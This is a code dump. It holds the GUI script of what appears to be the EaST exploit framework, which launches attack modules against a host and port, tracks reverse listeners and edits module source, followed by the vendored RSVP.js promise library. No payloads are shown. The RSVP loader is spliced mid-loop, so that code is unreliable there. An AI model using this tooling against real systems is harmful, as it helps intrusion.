methods: {
showDialog: function(moduleName, options) {
var hostPort = commonData.target.split(':');
if (hostPort) {
var host = hostPort[0];
var port;
if (hostPort.length > 1) {
port = hostPort[1];
}
_.forEach(options, function(entry, index) {
if (entry.option.toLowerCase() == "host")
options[index].value.value = host || entry.value.value;
else if (entry.option.toLowerCase() == "port")
options[index].value.value = port || entry.value.value;
})
}
this.$data.moduleName = moduleName;
this.$data.options = options;
this.$data.show = true;
},
ok: function() {
var args = {
module_name: this.moduleName,
listener_type: this.listenerType,
use_listener: this.useListener,
use_custom_port: this.useCustomPort,
custom_port: this.customPort,
options: this.options
};
guiCommandsHandler.startModule(args, function(e) {
var args = e.args;
if (args.error) {
toastr.error(args.message, 'Error', {timeOut: 5000});
return;
}
var data = {
title: args.module_name,
content: [{message: 'Module ' + args.module_name + ' has been started', type: 'text'}],
active: true,
useListener: args.listener,
listenerMessages: '',
listenerState: 0,
state: null
};
mainVue.addTab(data);
});
this.cancel();
},
cancel: function() {
this.show = false;
},
enableListener: function () {
if (!this.useCustomPort) {
this.useListener = true;
}
},
checkCustomPort: function() {
if (this.useCustomPort && this.useListener) {
this.useCustomPort = false;
}
}
}
})
imagePopup = new Vue({
el: '#imagePopup',
data: {
image: '',
show: false,
},
methods: {
showImage: function(image) {
this.image = image;
this.show = true;
},
close: function() {
this.show = false;
}
}
})
editorDialog = new Vue({
el: '#editorDialog',
data: {
show: false,
title: '',
content: '',
editor: null
},
ready: function() {
var scope = this;
this.editor = CodeMirror.fromTextArea(document.getElementById('editor'), {
lineNumbers: true,
indentUnit: 4,
mode: "python",
autofocus: true
});
this.editor.refresh();
},
methods: {
showContent: function(moduleName, content) {
this.title = moduleName;
this.content = content;
this.editor.setValue(content);
this.show = true;
var self = this;
Vue.nextTick(function () {
self.editor.refresh();
})
},
save: function() {
this.content = this.editor.getValue();
guiCommandsHandler.saveSource(this.title, this.content);
this.show = false;
}
}
})
});
function changeFavicon(icon) {
var $favicon = document.querySelector('link[rel="icon"]')
// If a element already exists,
// change its href to the given link.
if ($favicon !== null) {
$favicon.href = "/icons/" + icon
// Otherwise, create a new element and append it to .
} else {
$favicon = document.createElement("link")
$favicon.id = 'dynamic-favicon';
$favicon.rel = "icon"
$favicon.href = "/icons/" + icon
document.head.appendChild($favicon)
}
}
function setDefaultInfo() {
changeFavicon('transparent.ico');
document.title = "EaST Framework";
}
function showTabInfo(tab) {
if (tab.useListener) {
if (tab.listenerState == 0) {
changeFavicon('listener-enabled.ico');
} else if (tab.listenerState == 1) {
changeFavicon('listener-connected.ico');
} else if (tab.listenerState == 2) {
changeFavicon('listener-disconnected.ico');
}
} else {
changeFavicon('transparent.ico');
}
var title = tab.title
if (tab.state == true) {
title += "(SUCCEEDED)";
} else if (tab.state == false) {
title += "(FAILED)"
} else {
title += "(RUNNING)"
}
document.title = title;
}
================================================
FILE: ui/js/rsvp.js
================================================
(function(global) {
var define, requireModule, require, requirejs;
(function() {
var registry = {}, seen = {};
define = function(name, deps, callback) {
registry[name] = { deps: deps, callback: callback };
};
requirejs = require = requireModule = function(name) {
requirejs._eak_seen = registry;
if (seen[name]) { return seen[name]; }
seen[name] = {};
if (!registry[name]) {
throw new Error("Could not find module " + name);
}
var mod = registry[name],
deps = mod.deps,
callback = mod.callback,
reified = [],
exports;
for (var i=0, l=deps.length; i 1;
};
RSVP.filter(promises, filterFn).then(function(result){
// result is [ 2, 3 ]
});
```
If any of the `promises` given to `RSVP.filter` are rejected, the first promise
that is rejected will be given as an argument to the returned promises's
rejection handler. For example:
```javascript
var promise1 = RSVP.resolve(1);
var promise2 = RSVP.reject(new Error("2"));
var promise3 = RSVP.reject(new Error("3"));
var promises = [ promise1, promise2, promise3 ];
var filterFn = function(item){
return item > 1;
};
RSVP.filter(promises, filterFn).then(function(array){
// Code here never runs because there are rejected promises!
}, function(reason) {
// reason.message === "2"
});
```
`RSVP.filter` will also wait for any promises returned from `filterFn`.
For instance, you may want to fetch a list of users then return a subset
of those users based on some asynchronous operation:
```javascript
var alice = { name: 'alice' };
var bob = { name: 'bob' };
var users = [ alice, bob ];
var promises = users.map(function(user){
return RSVP.resolve(user);
});
var filterFn = function(user){
// Here, Alice has permissions to create a blog post, but Bob does not.
return getPrivilegesForUser(user).then(function(privs){
return privs.can_create_blog_post === true;
});
};
RSVP.filter(promises, filterFn).then(function(users){
// true, because the server told us only Alice can create a blog post.
users.length === 1;
// false, because Alice is the only user present in `users`
users[0] === bob;
});
```
@method filter
@for RSVP
@param {Array} promises
@param {Function} filterFn - function to be called on each resolved value to
filter the final results.
@param {String} label optional string describing the promise. Useful for
tooling.
@return {Promise}
*/
function filter(promises, filterFn, label) {
if (!isArray(promises)) {
throw new TypeError('You must pass an array to filter.');
}
if (!isFunction(filterFn)){
throw new TypeError("You must pass a function to filter's second argument.");
}
return all(promises, label).then(function(values){
return map(promises, filterFn, label).then(function(filterResults){
var i,
valuesLen = values.length,
filtered = [];
for (i = 0; i < valuesLen; i++){
if(filterResults[i]) filtered.push(values[i]);
}
return filtered;
});
});
}
__exports__["default"] = filter;
});
define("rsvp/hash",
["./promise","./utils","exports"],
function(__dependency1__, __dependency2__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
var isNonThenable = __dependency2__.isNonThenable;
var keysOf = __dependency2__.keysOf;
/**
`RSVP.hash` is similar to `RSVP.all`, but takes an object instead of an array
for its `promises` argument.
Returns a promise that is fulfilled when all the given promises have been
fulfilled, or rejected if any of them become rejected. The returned promise
is fulfilled with a hash that has the same key names as the `promises` object
argument. If any of the values in the object are not promises, they will
simply be copied over to the fulfilled object.
Example:
```javascript
var promises = {
myPromise: RSVP.resolve(1),
yourPromise: RSVP.resolve(2),
theirPromise: RSVP.resolve(3),
notAPromise: 4
};
RSVP.hash(promises).then(function(hash){
// hash here is an object that looks like:
// {
// myPromise: 1,
// yourPromise: 2,
// theirPromise: 3,
// notAPromise: 4
// }
});
````
If any of the `promises` given to `RSVP.hash` are rejected, the first promise
that is rejected will be given as as the first argument, or as the reason to
the rejection handler. For example:
```javascript
var promises = {
myPromise: RSVP.resolve(1),
rejectedPromise: RSVP.reject(new Error("rejectedPromise")),
anotherRejectedPromise: RSVP.reject(new Error("anotherRejectedPromise")),
};
RSVP.hash(promises).then(function(hash){
// Code here never runs because there are rejected promises!
}, function(reason) {
// reason.message === "rejectedPromise"
});
```
An important note: `RSVP.hash` is intended for plain JavaScript objects that
are just a set of keys and values. `RSVP.hash` will NOT preserve prototype
chains.
Example:
```javascript
function MyConstructor(){
this.example = RSVP.resolve("Example");
}
MyConstructor.prototype = {
protoProperty: RSVP.resolve("Proto Property")
};
var myObject = new MyConstructor();
RSVP.hash(myObject).then(function(hash){
// protoProperty will not be present, instead you will just have an
// object that looks like:
// {
// example: "Example"
// }
//
// hash.hasOwnProperty('protoProperty'); // false
// 'undefined' === typeof hash.protoProperty
});
```
@method hash
@for RSVP
@param {Object} promises
@param {String} label - optional string that describes the promise.
Useful for tooling.
@return {Promise} promise that is fulfilled when all properties of `promises`
have been fulfilled, or rejected if any of them become rejected.
*/
__exports__["default"] = function hash(object, label) {
return new Promise(function(resolve, reject){
var results = {};
var keys = keysOf(object);
var remaining = keys.length;
var entry, property;
if (remaining === 0) {
resolve(results);
return;
}
function fulfilledTo(property) {
return function(value) {
results[property] = value;
if (--remaining === 0) {
resolve(results);
}
};
}
function onRejection(reason) {
remaining = 0;
reject(reason);
}
for (var i = 0; i < keys.length; i++) {
property = keys[i];
entry = object[property];
if (isNonThenable(entry)) {
results[property] = entry;
if (--remaining === 0) {
resolve(results);
}
} else {
Promise.cast(entry).then(fulfilledTo(property), onRejection);
}
}
});
};
});
define("rsvp/instrument",
["./config","./utils","exports"],
function(__dependency1__, __dependency2__, __exports__) {
"use strict";
var config = __dependency1__.config;
var now = __dependency2__.now;
__exports__["default"] = function instrument(eventName, promise, child) {
// instrumentation should not disrupt normal usage.
try {
config.trigger(eventName, {
guid: promise._guidKey + promise._id,
eventName: eventName,
detail: promise._detail,
childGuid: child && promise._guidKey + child._id,
label: promise._label,
timeStamp: now(),
stack: new Error(promise._label).stack
});
} catch(error) {
setTimeout(function(){
throw error;
}, 0);
}
};
});
define("rsvp/map",
["./promise","./all","./utils","exports"],
function(__dependency1__, __dependency2__, __dependency3__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
var all = __dependency2__["default"];
var isArray = __dependency3__.isArray;
var isFunction = __dependency3__.isFunction;
/**
`RSVP.map` is similar to JavaScript's native `map` method, except that it
waits for all promises to become fulfilled before running the `mapFn` on
each item in given to `promises`. `RSVP.map` returns a promise that will
become fulfilled with the result of running `mapFn` on the values the promises
become fulfilled with.
For example:
```javascript
var promise1 = RSVP.resolve(1);
var promise2 = RSVP.resolve(2);
var promise3 = RSVP.resolve(3);
var promises = [ promise1, promise2, promise3 ];
var mapFn = function(item){
return item + 1;
};
RSVP.map(promises, mapFn).then(function(result){
// result is [ 2, 3, 4 ]
});
```
If any of the `promises` given to `RSVP.map` are rejected, the first promise
that is rejected will be given as an argument to the returned promises's
rejection handler. For example:
```javascript
var promise1 = RSVP.resolve(1);
var promise2 = RSVP.reject(new Error("2"));
var promise3 = RSVP.reject(new Error("3"));
var promises = [ promise1, promise2, promise3 ];
var mapFn = function(item){
return item + 1;
};
RSVP.map(promises, mapFn).then(function(array){
// Code here never runs because there are rejected promises!
}, function(reason) {
// reason.message === "2"
});
```
`RSVP.map` will also wait if a promise is returned from `mapFn`. For example,
say you want to get all comments from a set of blog posts, but you need
the blog posts first becuase they contain a url to those comments.
```javscript
var mapFn = function(blogPost){
// getComments does some ajax and returns an RSVP.Promise that is fulfilled
// with some comments data
return getComments(blogPost.comments_url);
};
// getBlogPosts does some ajax and returns an RSVP.Promise that is fulfilled
// with some blog post data
RSVP.map(getBlogPosts(), mapFn).then(function(comments){
// comments is the result of asking the server for the comments
// of all blog posts returned from getBlogPosts()
});
```
@method map
@for RSVP
@param {Array} promises
@param {Function} mapFn function to be called on each fulfilled promise.
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise} promise that is fulfilled with the result of calling
`mapFn` on each fulfilled promise or value when they become fulfilled.
The promise will be rejected if any of the given `promises` become rejected.
*/
__exports__["default"] = function map(promises, mapFn, label) {
if (!isArray(promises)) {
throw new TypeError('You must pass an array to map.');
}
if (!isFunction(mapFn)){
throw new TypeError("You must pass a function to map's second argument.");
}
return all(promises, label).then(function(results){
var resultLen = results.length,
mappedResults = [],
i;
for (i = 0; i < resultLen; i++){
mappedResults.push(mapFn(results[i]));
}
return all(mappedResults, label);
});
};
});
define("rsvp/node",
["./promise","exports"],
function(__dependency1__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
var slice = Array.prototype.slice;
function makeNodeCallbackFor(resolve, reject) {
return function (error, value) {
if (error) {
reject(error);
} else if (arguments.length > 2) {
resolve(slice.call(arguments, 1));
} else {
resolve(value);
}
};
}
/**
`RSVP.denodeify` takes a "node-style" function and returns a function that
will return an `RSVP.Promise`. You can use `denodeify` in Node.js or the
browser when you'd prefer to use promises over using callbacks. For example,
`denodeify` transforms the following:
```javascript
var fs = require('fs');
fs.readFile('myfile.txt', function(err, data){
if (err) return handleError(err);
handleData(data);
});
```
into:
```javascript
var fs = require('fs');
var readFile = RSVP.denodeify(fs.readFile);
readFile('myfile.txt').then(handleData, handleError);
```
Using `denodeify` makes it easier to compose asynchronous operations instead
of using callbacks. For example, instead of:
```javascript
var fs = require('fs');
var log = require('some-async-logger');
fs.readFile('myfile.txt', function(err, data){
if (err) return handleError(err);
fs.writeFile('myfile2.txt', data, function(err){
if (err) throw err;
log('success', function(err) {
if (err) throw err;
});
});
});
```
You can chain the operations together using `then` from the returned promise:
```javascript
var fs = require('fs');
var denodeify = RSVP.denodeify;
var readFile = denodeify(fs.readFile);
var writeFile = denodeify(fs.writeFile);
var log = denodeify(require('some-async-logger'));
readFile('myfile.txt').then(function(data){
return writeFile('myfile2.txt', data);
}).then(function(){
return log('SUCCESS');
}).then(function(){
// success handler
}, function(reason){
// rejection handler
});
```
@method denodeify
@for RSVP
@param {Function} nodeFunc a "node-style" function that takes a callback as
its last argument. The callback expects an error to be passed as its first
argument (if an error occurred, otherwise null), and the value from the
operation as its second argument ("function(err, value){ }").
@param {Any} binding optional argument for binding the "this" value when
calling the `nodeFunc` function.
@return {Function} a function that wraps `nodeFunc` to return an
`RSVP.Promise`
*/
__exports__["default"] = function denodeify(nodeFunc, binding) {
return function() {
var nodeArgs = slice.call(arguments), resolve, reject;
var thisArg = this || binding;
return new Promise(function(resolve, reject) {
Promise.all(nodeArgs).then(function(nodeArgs) {
try {
nodeArgs.push(makeNodeCallbackFor(resolve, reject));
nodeFunc.apply(thisArg, nodeArgs);
} catch(e) {
reject(e);
}
});
});
};
};
});
define("rsvp/promise",
["./config","./events","./instrument","./utils","./promise/cast","./promise/all","./promise/race","./promise/resolve","./promise/reject","exports"],
function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __exports__) {
"use strict";
var config = __dependency1__.config;
var EventTarget = __dependency2__["default"];
var instrument = __dependency3__["default"];
var objectOrFunction = __dependency4__.objectOrFunction;
var isFunction = __dependency4__.isFunction;
var now = __dependency4__.now;
var cast = __dependency5__["default"];
var all = __dependency6__["default"];
var race = __dependency7__["default"];
var Resolve = __dependency8__["default"];
var Reject = __dependency9__["default"];
var guidKey = 'rsvp_' + now() + '-';
var counter = 0;
function noop() {}
__exports__["default"] = Promise;
/**
Promise objects represent the eventual result of an asynchronous operation. The
primary way of interacting with a promise is through its `then` method, which
registers callbacks to receive either a promise’s eventual value or the reason
why the promise cannot be fulfilled.
Terminology
-----------
- `promise` is an object or function with a `then` method whose behavior conforms to this specification.
- `thenable` is an object or function that defines a `then` method.
- `value` is any legal JavaScript value (including undefined, a thenable, or a promise).
- `exception` is a value that is thrown using the throw statement.
- `reason` is a value that indicates why a promise was rejected.
- `settled` the final resting state of a promise, fulfilled or rejected.
A promise can be in one of three states: pending, fulfilled, or rejected.
Basic Usage:
------------
```js
var promise = new Promise(function(resolve, reject) {
// on success
resolve(value);
// on failure
reject(reason);
});
promise.then(function(value) {
// on fulfillment
}, function(reason) {
// on rejection
});
```
Advanced Usage:
---------------
Promises shine when abstracting away asynchronous interactions such as
`XMLHttpRequest`s.
```js
function getJSON(url) {
return new Promise(function(resolve, reject){
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.onreadystatechange = handler;
xhr.responseType = 'json';
xhr.setRequestHeader('Accept', 'application/json');
xhr.send();
function handler() {
if (this.readyState === this.DONE) {
if (this.status === 200) {
resolve(this.response);
} else {
reject(new Error("getJSON: `" + url + "` failed with status: [" + this.status + "]");
}
}
};
});
}
getJSON('/posts.json').then(function(json) {
// on fulfillment
}, function(reason) {
// on rejection
});
```
Unlike callbacks, promises are great composable primitives.
```js
Promise.all([
getJSON('/posts'),
getJSON('/comments')
]).then(function(values){
values[0] // => postsJSON
values[1] // => commentsJSON
return values;
});
```
@class Promise
@param {function}
@param {String} label optional string for labeling the promise.
Useful for tooling.
@constructor
*/
function Promise(resolver, label) {
if (!isFunction(resolver)) {
throw new TypeError('You must pass a resolver function as the first argument to the promise constructor');
}
if (!(this instanceof Promise)) {
throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.");
}
this._id = counter++;
this._label = label;
this._subscribers = [];
if (config.instrument) {
instrument('created', this);
}
if (noop !== resolver) {
invokeResolver(resolver, this);
}
}
function invokeResolver(resolver, promise) {
function resolvePromise(value) {
resolve(promise, value);
}
function rejectPromise(reason) {
reject(promise, reason);
}
try {
resolver(resolvePromise, rejectPromise);
} catch(e) {
rejectPromise(e);
}
}
Promise.cast = cast;
Promise.all = all;
Promise.race = race;
Promise.resolve = Resolve;
Promise.reject = Reject;
var PENDING = void 0;
var SEALED = 0;
var FULFILLED = 1;
var REJECTED = 2;
function subscribe(parent, child, onFulfillment, onRejection) {
var subscribers = parent._subscribers;
var length = subscribers.length;
subscribers[length] = child;
subscribers[length + FULFILLED] = onFulfillment;
subscribers[length + REJECTED] = onRejection;
}
function publish(promise, settled) {
var child, callback, subscribers = promise._subscribers, detail = promise._detail;
if (config.instrument) {
instrument(settled === FULFILLED ? 'fulfilled' : 'rejected', promise);
}
for (var i = 0; i < subscribers.length; i += 3) {
child = subscribers[i];
callback = subscribers[i + settled];
invokeCallback(settled, child, callback, detail);
}
promise._subscribers = null;
}
Promise.prototype = {
/**
@property constructor
*/
constructor: Promise,
_id: undefined,
_guidKey: guidKey,
_label: undefined,
_state: undefined,
_detail: undefined,
_subscribers: undefined,
_onerror: function (reason) {
config.trigger('error', reason);
},
/**
A promise represents the eventual result of an asynchronous operation. The
primary way of interacting with a promise is through its `then` method, which
registers callbacks to receive either a promise's eventual value or the reason
why the promise cannot be fulfilled.
```js
findUser().then(function(user){
// user is available
}, function(reason){
// user is unavailable, and you are given the reason why
});
```
Chaining
--------
The return value of `then` is itself a promise. This second, "downstream"
promise is resolved with the return value of the first promise's fulfillment
or rejection handler, or rejected if the handler throws an exception.
```js
findUser().then(function (user) {
return user.name;
}, function (reason) {
return "default name";
}).then(function (userName) {
// If `findUser` fulfilled, `userName` will be the user's name, otherwise it
// will be `"default name"`
});
findUser().then(function (user) {
throw "Found user, but still unhappy";
}, function (reason) {
throw "`findUser` rejected and we're unhappy";
}).then(function (value) {
// never reached
}, function (reason) {
// if `findUser` fulfilled, `reason` will be "Found user, but still unhappy".
// If `findUser` rejected, `reason` will be "`findUser` rejected and we're unhappy".
});
```
If the downstream promise does not specify a rejection handler, rejection reasons will be propagated further downstream.
```js
findUser().then(function (user) {
throw new PedagogicalException("Upstream error");
}).then(function (value) {
// never reached
}).then(function (value) {
// never reached
}, function (reason) {
// The `PedgagocialException` is propagated all the way down to here
});
```
Assimilation
------------
Sometimes the value you want to propagate to a downstream promise can only be
retrieved asynchronously. This can be achieved by returning a promise in the
fulfillment or rejection handler. The downstream promise will then be pending
until the returned promise is settled. This is called *assimilation*.
```js
findUser().then(function (user) {
return findCommentsByAuthor(user);
}).then(function (comments) {
// The user's comments are now available
});
```
If the assimliated promise rejects, then the downstream promise will also reject.
```js
findUser().then(function (user) {
return findCommentsByAuthor(user);
}).then(function (comments) {
// If `findCommentsByAuthor` fulfills, we'll have the value here
}, function (reason) {
// If `findCommentsByAuthor` rejects, we'll have the reason here
});
```
Simple Example
--------------
Synchronous Example
```javascript
var result;
try {
result = findResult();
// success
} catch(reason) {
// failure
}
```
Errback Example
```js
findResult(function(result, err){
if (err) {
// failure
} else {
// success
}
});
```
Promise Example;
```javacsript
findResult().then(function(result){
}, function(reason){
});
```
Advanced Example
--------------
Synchronous Example
```javascript
var author, books;
try {
author = findAuthor();
books = findBooksByAuthor(author);
// success
} catch(reason) {
// failure
}
```
Errback Example
```js
function foundBooks(books) {
}
function failure(reason) {
}
findAuthor(function(author, err){
if (err) {
failure(err);
// failure
} else {
try {
findBoooksByAuthor(author, function(books, err) {
if (err) {
failure(err);
} else {
try {
foundBooks(books);
} catch(reason) {
failure(reason);
}
}
});
} catch(error) {
failure(err);
}
// success
}
});
```
Promise Example;
```javacsript
findAuthor().
then(findBooksByAuthor).
then(function(books){
// found books
}).catch(function(reason){
// something went wrong;
});
```
@method then
@param {Function} onFulfillment
@param {Function} onRejection
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise}
*/
then: function(onFulfillment, onRejection, label) {
var promise = this;
this._onerror = null;
var thenPromise = new this.constructor(noop, label);
if (this._state) {
var callbacks = arguments;
config.async(function invokePromiseCallback() {
invokeCallback(promise._state, thenPromise, callbacks[promise._state - 1], promise._detail);
});
} else {
subscribe(this, thenPromise, onFulfillment, onRejection);
}
if (config.instrument) {
instrument('chained', promise, thenPromise);
}
return thenPromise;
},
/**
`catch` is simply sugar for `then(null, onRejection)` which makes it the same
as the catch block, of a try/catch statement.
```js
function findAuthor(){
throw new Error("couldn't find that author");
}
// synchronous
try {
findAuthor();
} catch(reason) {
}
// async with promises
findAuthor().catch(function(reason){
// something went wrong;
});
```
@method catch
@param {Function} onRejection
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise}
*/
'catch': function(onRejection, label) {
return this.then(null, onRejection, label);
},
/**
`finally` will be invoked regardless of the promise's fate just as native
try/catch/finally behaves
```js
findAuthor() {
if (Math.random() > 0.5) {
throw new Error();
}
return new Author();
}
try {
return findAuthor(); // succeed or fail
} catch(error) {
return findOtherAuther();
} finally {
// always runs
// doesn't effect the return value
}
findAuthor().finally(function(){
// author was either found, or not
});
```
@method finally
@param {Function} callback
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise}
*/
'finally': function(callback, label) {
var constructor = this.constructor;
return this.then(function(value) {
return constructor.cast(callback()).then(function(){
return value;
});
}, function(reason) {
return constructor.cast(callback()).then(function(){
throw reason;
});
}, label);
}
};
function invokeCallback(settled, promise, callback, detail) {
var hasCallback = isFunction(callback),
value, error, succeeded, failed;
if (hasCallback) {
try {
value = callback(detail);
succeeded = true;
} catch(e) {
failed = true;
error = e;
}
} else {
value = detail;
succeeded = true;
}
if (handleThenable(promise, value)) {
return;
} else if (hasCallback && succeeded) {
resolve(promise, value);
} else if (failed) {
reject(promise, error);
} else if (settled === FULFILLED) {
resolve(promise, value);
} else if (settled === REJECTED) {
reject(promise, value);
}
}
function handleThenable(promise, value) {
var then = null,
resolved;
try {
if (promise === value) {
throw new TypeError("A promises callback cannot return that same promise.");
}
if (objectOrFunction(value)) {
then = value.then;
if (isFunction(then)) {
then.call(value, function(val) {
if (resolved) { return true; }
resolved = true;
if (value !== val) {
resolve(promise, val);
} else {
fulfill(promise, val);
}
}, function(val) {
if (resolved) { return true; }
resolved = true;
reject(promise, val);
}, 'derived from: ' + (promise._label || ' unknown promise'));
return true;
}
}
} catch (error) {
if (resolved) { return true; }
reject(promise, error);
return true;
}
return false;
}
function resolve(promise, value) {
if (promise === value) {
fulfill(promise, value);
} else if (!handleThenable(promise, value)) {
fulfill(promise, value);
}
}
function fulfill(promise, value) {
if (promise._state !== PENDING) { return; }
promise._state = SEALED;
promise._detail = value;
config.async(publishFulfillment, promise);
}
function reject(promise, reason) {
if (promise._state !== PENDING) { return; }
promise._state = SEALED;
promise._detail = reason;
config.async(publishRejection, promise);
}
function publishFulfillment(promise) {
publish(promise, promise._state = FULFILLED);
}
function publishRejection(promise) {
if (promise._onerror) {
promise._onerror(promise._detail);
}
publish(promise, promise._state = REJECTED);
}
});
define("rsvp/promise/all",
["../utils","exports"],
function(__dependency1__, __exports__) {
"use strict";
var isArray = __dependency1__.isArray;
var isNonThenable = __dependency1__.isNonThenable;
/**
`RSVP.Promise.all` returns a new promise which is fulfilled with an array of
fulfillment values for the passed promises, or rejects with the reason of the
first passed promise that rejects. It casts all elements of the passed iterable
to promises as it runs this algorithm.
Example:
```javascript
var promise1 = RSVP.resolve(1);
var promise2 = RSVP.resolve(2);
var promise3 = RSVP.resolve(3);
var promises = [ promise1, promise2, promise3 ];
RSVP.Promise.all(promises).then(function(array){
// The array here would be [ 1, 2, 3 ];
});
```
If any of the `promises` given to `RSVP.all` are rejected, the first promise
that is rejected will be given as an argument to the returned promises's
rejection handler. For example:
Example:
```javascript
var promise1 = RSVP.resolve(1);
var promise2 = RSVP.reject(new Error("2"));
var promise3 = RSVP.reject(new Error("3"));
var promises = [ promise1, promise2, promise3 ];
RSVP.Promise.all(promises).then(function(array){
// Code here never runs because there are rejected promises!
}, function(error) {
// error.message === "2"
});
```
@method all
@for RSVP.Promise
@param {Array} promises
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise} promise that is fulfilled when all `promises` have been
fulfilled, or rejected if any of them become rejected.
*/
__exports__["default"] = function all(entries, label) {
/*jshint validthis:true */
var Constructor = this;
return new Constructor(function(resolve, reject) {
if (!isArray(entries)) {
throw new TypeError('You must pass an array to all.');
}
var remaining = entries.length;
var results = new Array(remaining);
var entry, pending = true;
if (remaining === 0) {
resolve(results);
return;
}
function fulfillmentAt(index) {
return function(value) {
results[index] = value;
if (--remaining === 0) {
resolve(results);
}
};
}
function onRejection(reason) {
remaining = 0;
reject(reason);
}
for (var index = 0; index < entries.length; index++) {
entry = entries[index];
if (isNonThenable(entry)) {
results[index] = entry;
if (--remaining === 0) {
resolve(results);
}
} else {
Constructor.cast(entry).then(fulfillmentAt(index), onRejection);
}
}
}, label);
};
});
define("rsvp/promise/cast",
["exports"],
function(__exports__) {
"use strict";
/**
`RSVP.Promise.cast` cast coerces its argument to a promise, or returns the
argument if it is already a promise which shares a constructor with the caster;
Example:
```javascript
var promise = RSVP.Promise.resolve(1);
var casted = RSVP.Promise.cast(promise);
console.log(promise === casted); // true
```
In the case of a promise whose constructor does not match, it is assimilated.
The resulting promise will fulfill or reject based on the outcome of the
promise being casted.
In the case of a non-promise, a promise which will fulfill with that value is
returned.
Example:
```javascript
var value = 1; // could be a number, boolean, string, undefined...
var casted = RSVP.Promise.cast(value);
console.log(value === casted); // false
console.log(casted instanceof RSVP.Promise) // true
casted.then(function(val) {
val === value // => true
});
```
`RSVP.Promise.cast` is similar to `RSVP.Promise.resolve`, but `RSVP.Promise.cast` differs in the
following ways:
* `RSVP.Promise.cast` serves as a memory-efficient way of getting a promise, when you
have something that could either be a promise or a value. RSVP.resolve
will have the same effect but will create a new promise wrapper if the
argument is a promise.
* `RSVP.Promise.cast` is a way of casting incoming thenables or promise subclasses to
promises of the exact class specified, so that the resulting object's `then` is
ensured to have the behavior of the constructor you are calling cast on (i.e., RSVP.Promise).
@method cast
@for RSVP.Promise
@param {Object} object to be casted
@param {String} label optional string for labeling the promise.
Useful for tooling.
@return {Promise} promise
*/
__exports__["default"] = function cast(object, label) {
/*jshint validthis:true */
var Constructor = this;
if (object && typeof object === 'object' && object.constructor === Constructor) {
return object;
}
return new Constructor(function(resolve) {
resolve(object);
}, label);
};
});
define("rsvp/promise/race",
["../utils","exports"],
function(__dependency1__, __exports__) {
"use strict";
/* global toString */
var isArray = __dependency1__.isArray;
var isFunction = __dependency1__.isFunction;
var isNonThenable = __dependency1__.isNonThenable;
/**
`RSVP.Promise.race` returns a new promise which is settled in the same way as the
first passed promise to settle.
Example:
```javascript
var promise1 = new RSVP.Promise(function(resolve, reject){
setTimeout(function(){
resolve("promise 1");
}, 200);
});
var promise2 = new RSVP.Promise(function(resolve, reject){
setTimeout(function(){
resolve("promise 2");
}, 100);
});
RSVP.Promise.race([promise1, promise2]).then(function(result){
// result === "promise 2" because it was resolved before promise1
// was resolved.
});
```
`RSVP.Promise.race` is deterministic in that only the state of the first
completed promise matters. For example, even if other promises given to the
`promises` array argument are resolved, but the first completed promise has
become rejected before the other promises became fulfilled, the returned
promise will become rejected:
```javascript
var promise1 = new RSVP.Promise(function(resolve, reject){
setTimeout(function(){
resolve("promise 1");
}, 200);
});
var promise2 = new RSVP.Promise(function(resolve, reject){
setTimeout(function(){
reject(new Error("promise 2"));
}, 100);
});
RSVP.Promise.race([promise1, promise2]).then(function(result){
// Code here never runs because there are rejected promises!
}, function(reason){
// reason.message === "promise2" because promise 2 became rejected before
// promise 1 became fulfilled
});
```
@method race
@for RSVP.Promise
@param {Array} promises array of promises to observe
@param {String} label optional string for describing the promise returned.
Useful for tooling.
@return {Promise} a promise which settles in the same way as the first passed
promise to settle.
*/
__exports__["default"] = function race(entries, label) {
/*jshint validthis:true */
var Constructor = this, entry;
return new Constructor(function(resolve, reject) {
if (!isArray(entries)) {
throw new TypeError('You must pass an array to race.');
}
var pending = true;
function onFulfillment(value) { if (pending) { pending = false; resolve(value); } }
function onRejection(reason) { if (pending) { pending = false; reject(reason); } }
for (var i = 0; i < entries.length; i++) {
entry = entries[i];
if (isNonThenable(entry)) {
pending = false;
resolve(entry);
return;
} else {
Constructor.cast(entry).then(onFulfillment, onRejection);
}
}
}, label);
};
});
define("rsvp/promise/reject",
["exports"],
function(__exports__) {
"use strict";
/**
`RSVP.Promise.reject` returns a promise rejected with the passed `reason`.
It is essentially shorthand for the following:
```javascript
var promise = new RSVP.Promise(function(resolve, reject){
reject(new Error('WHOOPS'));
});
promise.then(function(value){
// Code here doesn't run because the promise is rejected!
}, function(reason){
// reason.message === 'WHOOPS'
});
```
Instead of writing the above, your code now simply becomes the following:
```javascript
var promise = RSVP.Promise.reject(new Error('WHOOPS'));
promise.then(function(value){
// Code here doesn't run because the promise is rejected!
}, function(reason){
// reason.message === 'WHOOPS'
});
```
@method reject
@for RSVP.Promise
@param {Any} reason value that the returned promise will be rejected with.
@param {String} label optional string for identifying the returned promise.
Useful for tooling.
@return {Promise} a promise rejected with the given `reason`.
*/
__exports__["default"] = function reject(reason, label) {
/*jshint validthis:true */
var Constructor = this;
return new Constructor(function (resolve, reject) {
reject(reason);
}, label);
};
});
define("rsvp/promise/resolve",
["exports"],
function(__exports__) {
"use strict";
/**
`RSVP.Promise.resolve` returns a promise that will become fulfilled with the passed
`value`. It is essentially shorthand for the following:
```javascript
var promise = new RSVP.Promise(function(resolve, reject){
resolve(1);
});
promise.then(function(value){
// value === 1
});
```
Instead of writing the above, your code now simply becomes the following:
```javascript
var promise = RSVP.Promise.resolve(1);
promise.then(function(value){
// value === 1
});
```
@method resolve
@for RSVP.Promise
@param {Any} value value that the returned promise will be resolved with
@param {String} label optional string for identifying the returned promise.
Useful for tooling.
@return {Promise} a promise that will become fulfilled with the given
`value`
*/
__exports__["default"] = function resolve(value, label) {
/*jshint validthis:true */
var Constructor = this;
return new Constructor(function(resolve, reject) {
resolve(value);
}, label);
};
});
define("rsvp/race",
["./promise","exports"],
function(__dependency1__, __exports__) {
"use strict";
